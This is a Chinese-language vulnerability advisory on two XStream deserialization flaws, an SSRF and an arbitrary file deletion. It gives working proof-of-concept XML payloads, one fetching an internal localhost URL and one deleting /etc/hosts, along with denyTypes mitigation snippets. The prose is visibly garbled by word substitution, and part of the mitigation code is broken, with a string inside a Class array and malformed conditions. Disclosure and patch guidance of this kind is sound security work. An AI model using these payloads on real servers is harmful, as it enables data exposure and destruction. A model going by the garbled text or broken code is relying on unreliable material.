【误差通告】XStream反序列化误差
宣布时间 2020-12-140x00 误差概述
产品名称 | CVE ID | 类 型 | 误差品级 | 远程使用 |
XStream | CVE-2020-26258 | SSRF | 中危 | 是 |
CVE-2020-26259 | 恣意文件删除 | 高危 | 是 |
0x01 误差详情

2020年12月13日,XStream官方宣布清静通告,果真了XStream中的两个反序列化误差(CVE-2020-26258和CVE-2020-26259)。详情如下:
XStream服务器端请求伪造误差(CVE-2020-26258)
XStream反序列化时处置惩罚的流包括用于重新建设以前写入的工具的类型信息,其基于这些类型信息建设新的实例。攻击者可以通过使用已处置惩罚的输入流并替换或插入工具,从而提倡服务器端伪造请求。攻击者可使用此误差从未果真的内部资源中请求数据。
误差复现:
建设一个简朴的HashMap并使用XStream将其序列化为XML(也可使用JSON等其它受支持的名堂)。用以下代码替换XML,然后用XStream反序列化它:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://localhost:8080/internal/:</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
XStream xstream = new XStream();
xstream.fromXML(xml);
一旦反序列化XML,就会执行Payload并网络来自URL位置的数据。
XStream恣意文件删除误差(CVE-2020-26259)
若是攻击者拥有使用已处置惩罚的输入流的执行历程的权限,则攻击者可以通过使用此误差删除主机上的恣意文件。
误差复现:
建设一个简朴的HashMap并使用XStream将其序列化为XML(也可使用JSON等其它受支持的名堂)。用以下代码替换XML,然后用XStream反序列化它:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/etc/hosts</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
XStream xstream = new XStream();
xstream.fromXML(xml);
一旦反序列化XML,就会执行Payload并删除引用文件。
影响规模:
XStream : <=1.4.14
0x02 处置惩罚建议
现在XStream已经修复了相关误差,建议升级至1.4.15版本。
下载链接:
https://x-stream.github.io/changes.html#1.4.15
XStream 1.4.15以下版本可使用如下解决要领:
XStream 1.4.14需在XStream的装置代码中添加2行:
xstream.denyTypes(new String[]{ "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
XStream 1.4.13需在XStream的装置代码中添加3行:
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
XStream 1.4.7-1.4.12若是希望使用XStream的黑名单,需要拒绝以下类型:
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, "jdk.nashorn.internal.objects.NativeString", java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
xstream.denyTypesByRegExp(new String[]{ ".*\\$LazyIterator", "javax\\.crypto\\..*", ".*\\.ReadAllStream\\$FileStream" });
XStream 1.4.6及更低版本可以通过注册自己的Converter来避免Java运行时的要害类型被反序列化。
xstream.registerConverter(new Converter() {
public boolean canConvert(Class type) {
return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class
|| type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("jdk.nashorn.internal.objects.NativeString")
|| type == java.lang.Void.class || void.class || Proxy.isProxy(type))
|| type.getName().startsWith("javax.crypto.") || type.getName().endsWith("$LazyIterator") || type.getName().endsWith(".ReadAllStream$FileStream"));
}
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
}, XStream.PRIORITY_LOW);
0x03 参考链接
http://x-stream.github.io/CVE-2020-26259.html
https://github.com/x-stream/xstream/security/advisories/GHSA-4cch-wxpw-8p28
https://github.com/x-stream/xstream/security/advisories/GHSA-jfvx-7wrx-43fh
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26259
0x04 时间线
2020-12-13 XStream宣布清静通告
2020-12-14 VSRC宣布清静通告
0x05 附录
CVSS评分标准官网:http://www.first.org/cvss/



京公网安备11010802024551号